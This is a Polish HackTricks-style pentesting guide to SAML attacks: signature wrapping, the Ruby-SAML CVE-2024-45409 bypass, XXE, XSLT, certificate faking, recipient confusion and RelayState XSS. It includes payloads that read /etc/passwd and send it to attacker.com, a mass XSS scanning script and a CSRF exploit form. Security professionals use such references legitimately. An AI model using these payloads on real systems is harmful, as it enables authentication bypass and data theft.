SAML Attacks

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

SAML Basics

Narzędzie

SAMLExtractor: Narzędzie, które może przyjąć URL lub listę URL-i i zwraca SAML consume URL.

XML round-trip

W XML podpisana część dokumentu jest zapisywana w pamięci, następnie wykonywane jest pewne kodowanie/odkodowanie i sprawdzany jest podpis. W idealnym przypadku to kodowanie/odkodowanie nie powinno zmieniać danych, ale w takim scenariuszu dane sprawdzane i oryginalne dane mogą się nie zgadzać.

Na przykład, sprawdź następujący kod:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Uruchomienie programu na REXML 3.2.4 lub wcześniejszej wersji spowodowałoby zamiast tego następujące wyjście:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

And this is how it saw it after a round of parsing and serialization:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

W XML Signature Wrapping attacks (XSW) przeciwnicy wykorzystują podatność powstającą, gdy dokumenty XML są przetwarzane w dwóch odrębnych fazach: signature validation i function invocation. Te ataki polegają na modyfikacji struktury dokumentu XML. Konkretnie, atakujący injects forged elements, które nie naruszają ważności XML Signature. Ta manipulacja ma na celu stworzenie rozbieżności między elementami analizowanymi przez application logic a tymi sprawdzanymi przez signature verification module. W efekcie, choć XML Signature pozostaje technicznie prawidłowy i przechodzi weryfikację, application logic przetwarza fraudulent elements. W rezultacie atakujący omija integrity protection i origin authentication XML Signature, umożliwiając injection of arbitrary content bez wykrycia.

Następujące ataki bazują na this blog post and this paper. Sprawdź je, aby uzyskać więcej szczegółów.

XSW #1

  • Strategia: Dodawany jest nowy element root zawierający signature.
  • Implikacja: Validator może pomylić oryginalny “Response -> Assertion -> Subject” z “evil new Response -> Assertion -> Subject” atakującego, prowadząc do problemów z integralnością danych.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Różnica w stosunku do XSW #1: Wykorzystuje detached signature zamiast enveloping signature.
  • Implikacja: Struktura “evil”, podobna do XSW #1, ma na celu zmylenie business logic po sprawdzeniu integralności.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategia: Tworzona jest evil Assertion na tym samym poziomie hierarchii co oryginalna assertion.
  • Implikacja: Ma na celu zmylenie business logic i użycie złośliwych danych.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Różnica w stosunku do XSW #3: Oryginalna Assertion staje się child duplicated (evil) Assertion.
  • Implikacja: Podobne do XSW #3, ale bardziej agresywnie zmienia strukturę XML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unikalny aspekt: Ani Signature, ani oryginalna Assertion nie trzymają się standardowych konfiguracji (enveloped/enveloping/detached).
  • Implikacja: Skopiowana Assertion envelopes Signature, modyfikując oczekiwaną strukturę dokumentu.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategia: Podobne wstawienie miejsca jak w XSW #4 i #5, ale ze zmianą.
  • Implikacja: Skopiowana Assertion envelopes Signature, która następnie envelopes oryginalną Assertion, tworząc zagnieżdżoną, zwodniczą strukturę.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategia: Wstawiany jest element Extensions z skopiowaną Assertion jako child.
  • Implikacja: Wykorzystuje mniej restrykcyjny schemat elementu Extensions, aby obejść kontromechanizmy walidacji schematu, szczególnie w bibliotekach takich jak OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Różnica w stosunku do XSW #7: Wykorzystuje inny, mniej restrykcyjny element XML dla wariantu ataku.
  • Implikacja: Oryginalna Assertion staje się child tego mniej restrykcyjnego elementu, odwracając strukturę używaną w XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

Możesz użyć Burp extension SAML Raider aby sparsować request, zastosować dowolny atak XSW i go uruchomić.

Ruby-SAML signature verification bypass (CVE-2024-45409)

Impact: Jeśli Service Provider używa podatnego Ruby-SAML (np. GitLab SAML SSO), atakujący, który zdobędzie any IdP-signed SAMLResponse, może forge a new assertion i uwierzytelnić się jako dowolny użytkownik.

High-level workflow (signature-wrapping style bypass):

  1. Capture a legitimate SAMLResponse in the SSO POST (Burp or browser devtools). You only need any IdP-signed response for the target SP.
  2. Decode the transport encoding to raw XML (typical order): URL decode → Base64 decode → raw inflate.
  3. Use a PoC (for example, the Synacktiv script) to patch IDs/NameID/conditions and rewrite signature references/digests so validation still passes while the SP consumes attacker-controlled assertion fields.
  4. Re-encode the patched XML (raw deflate → Base64 → URL encode) and replay it to the SAML callback endpoint. If successful, the SP logs you in as the chosen user.

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

Jeśli nie wiesz, czym są ataki XXE, przeczytaj następującą stronę:

XXE - XEE - XML External Entity

SAML Responses są dokumentami XML spłaszczonymi i zakodowanymi w base64 i mogą być podatne na ataki XML External Entity (XXE). Manipulując strukturą XML SAML Response, atakujący mogą próbować wykorzystać podatności XXE. Oto, jak taki atak można zobrazować:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Narzędzia

Możesz także użyć rozszerzenia Burp SAML Raider do wygenerowania POC z żądania SAML, aby przetestować możliwe luki XXE i luki SAML.

Obejrzyj też to wystąpienie: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT przez SAML

Aby uzyskać więcej informacji o XSLT zobacz:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) można użyć do przekształcania dokumentów XML na różne formaty, takie jak HTML, JSON czy PDF. Należy zauważyć, że transformacje XSLT są wykonywane przed weryfikacją podpisu cyfrowego. Oznacza to, że atak może być skuteczny nawet bez prawidłowego podpisu; podpis samopodpisany lub nieważny podpis wystarczy, aby go przeprowadzić.

Tutaj znajdziesz POC do sprawdzenia tego typu luk; na stronie hacktricks wymienionej na początku tej sekcji znajdziesz payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Narzędzie

Możesz także użyć rozszerzenia Burp SAML Raider do wygenerowania POC z żądania SAML w celu przetestowania ewentualnych podatności XSLT.

Zobacz także ten wykład: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion obserwuje zachowanie implementacji SAML, gdy Signature element nie jest obecny. Jeśli ten element brakuje, walidacja podpisu może nie zachodzić, co stwarza podatność. Można to przetestować, modyfikując zawartość, która zwykle jest weryfikowana przez podpis.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Narzędzie

Możesz także użyć rozszerzenia Burp SAML Raider. Przechwyć SAML Response i kliknij Remove Signatures. W ten sposób wszystkie Signature elements zostaną usunięte.

Po usunięciu podpisów pozwól, by żądanie dotarło do celu. Jeśli Signature nie jest wymagany przez Service

Certificate Faking

Certificate Faking

Certificate Faking to technika służąca do sprawdzenia, czy Service Provider (SP) prawidłowo weryfikuje, że SAML Message jest podpisany przez zaufany Identity Provider (IdP). Polega na użyciu *self-signed certificate do podpisania SAML Response lub Assertion, co pomaga ocenić proces walidacji zaufania między SP a IdP.

Jak przeprowadzić Certificate Faking

Poniższe kroki opisują proces z wykorzystaniem rozszerzenia Burp SAML Raider:

  1. Przechwyć SAML Response.
  2. Jeśli odpowiedź zawiera podpis, wyślij certyfikat do SAML Raider Certs przy użyciu przycisku Send Certificate to SAML Raider Certs.
  3. W karcie SAML Raider Certificates wybierz zaimportowany certyfikat i kliknij Save and Self-Sign, aby utworzyć self-signed klon oryginalnego certyfikatu.
  4. Wróć do przechwyconego żądania w Proxy Burpa. Wybierz nowy self-signed certyfikat z rozwijanego menu XML Signature.
  5. Usuń istniejące podpisy za pomocą przycisku Remove Signatures.
  6. Podpisz wiadomość lub assertion nowym certyfikatem używając przycisku (Re-)Sign Message lub (Re-)Sign Assertion, w zależności od potrzeby.
  7. Prześlij podpisaną wiadomość dalej. Udane uwierzytelnienie wskazuje, że SP akceptuje wiadomości podpisane przez twój self-signed certificate, co ujawnia potencjalne podatności w procesie walidacji SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion oraz Service Provider Target Confusion polegają na sprawdzeniu, czy Service Provider poprawnie weryfikuje zamierzonego odbiorcę odpowiedzi. Innymi słowy, Service Provider powinien odrzucić odpowiedź uwierzytelniającą, jeśli była przeznaczona dla innego providera. Kluczowym elementem jest pole Recipient, znajdujące się w elemencie SubjectConfirmationData odpowiedzi SAML. To pole określa URL, na który Assertion musi zostać wysłane. Jeśli faktyczny odbiorca nie odpowiada zamierzonemu Service Provider, Assertion powinien być uznany za nieważny.

Jak to działa

Aby atak SAML Token Recipient Confusion (SAML-TRC) był możliwy, muszą być spełnione pewne warunki. Po pierwsze, musi istnieć ważne konto na Service Provider (określanym jako SP-Legit). Po drugie, docelowy Service Provider (SP-Target) musi akceptować tokeny od tego samego Identity Provider, który obsługuje SP-Legit.

Proces ataku jest prosty przy spełnieniu tych warunków. Autentyczna sesja jest inicjowana na SP-Legit za pośrednictwem wspólnego Identity Provider. SAML Response od Identity Provider do SP-Legit jest przechwytywana. Przechwycony SAML Response, pierwotnie przeznaczony dla SP-Legit, jest następnie przekierowywany do SP-Target. Sukces ataku polega na tym, że SP-Target akceptuje Assertion, przyznając dostęp do zasobów pod tym samym nazwą konta używaną dla SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS w funkcjonalności wylogowania

Oryginalne badanie jest dostępne pod tym linkiem.

Podczas procesu directory brute forcing odkryto stronę logout pod adresem:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Po otwarciu tego linku nastąpiło przekierowanie do:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

To ujawniło, że parametr base akceptuje adres URL. W związku z tym pojawił się pomysł, aby zastąpić adres URL javascript:alert(123); w próbie wywołania ataku XSS (Cross-Site Scripting).

Masowa eksploatacja

From this research:

Narzędzie SAMLExtractor zostało użyte do analizy subdomen uberinternal.com w poszukiwaniu domen korzystających z tej samej biblioteki. Następnie opracowano skrypt skierowany na stronę oidauth/prompt. Skrypt testuje pod kątem XSS (Cross-Site Scripting) poprzez wprowadzanie danych i sprawdzanie, czy są one odzwierciedlone w wyniku. W przypadkach, gdy dane są rzeczywiście odzwierciedlane, skrypt oznacza stronę jako podatną.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Niektóre SAML SSO endpoints dekodują RelayState, a następnie odzwierciedlają go w odpowiedzi bez sanitacji. Jeśli możesz wstrzyknąć znaki nowej linii i nadpisać odpowiedzi Content-Type, możesz zmusić przeglądarkę do wyrenderowania kontrolowanego przez atakującego HTML, osiągając reflected XSS.

  • Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in CRLF injection.
  • Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.

Generalized steps:

  1. Zbuduj sekwencję header/body injection zaczynającą się od znaku nowej linii, nadpisz Content-Type na HTML, a następnie wstrzyknij payload HTML/JS:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. Zakoduj sekwencję w formacie URL (przykład):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Zakoduj ten URL-encoded string w base64 i umieść go w RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Wyślij POST z syntaktycznie prawidłowym SAMLResponse i spreparowanym RelayState do SSO endpointu (np. /cgi/logout).
  2. Dostarcz przez CSRF: udostępnij stronę, która automatycznie wykona cross-origin POST do docelowego origin, zawierający oba pola.

PoC przeciwko NetScaler SSO endpointowi (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

Wzorzec dostarczania CSRF:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Dlaczego to działa: serwer dekoduje RelayState i włącza go do odpowiedzi w sposób, który pozwala na newline injection, umożliwiając atakującemu wpływanie na nagłówki i ciało. Wymuszenie Content-Type: text/html powoduje, że przeglądarka renderuje HTML kontrolowany przez atakującego z treści odpowiedzi.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks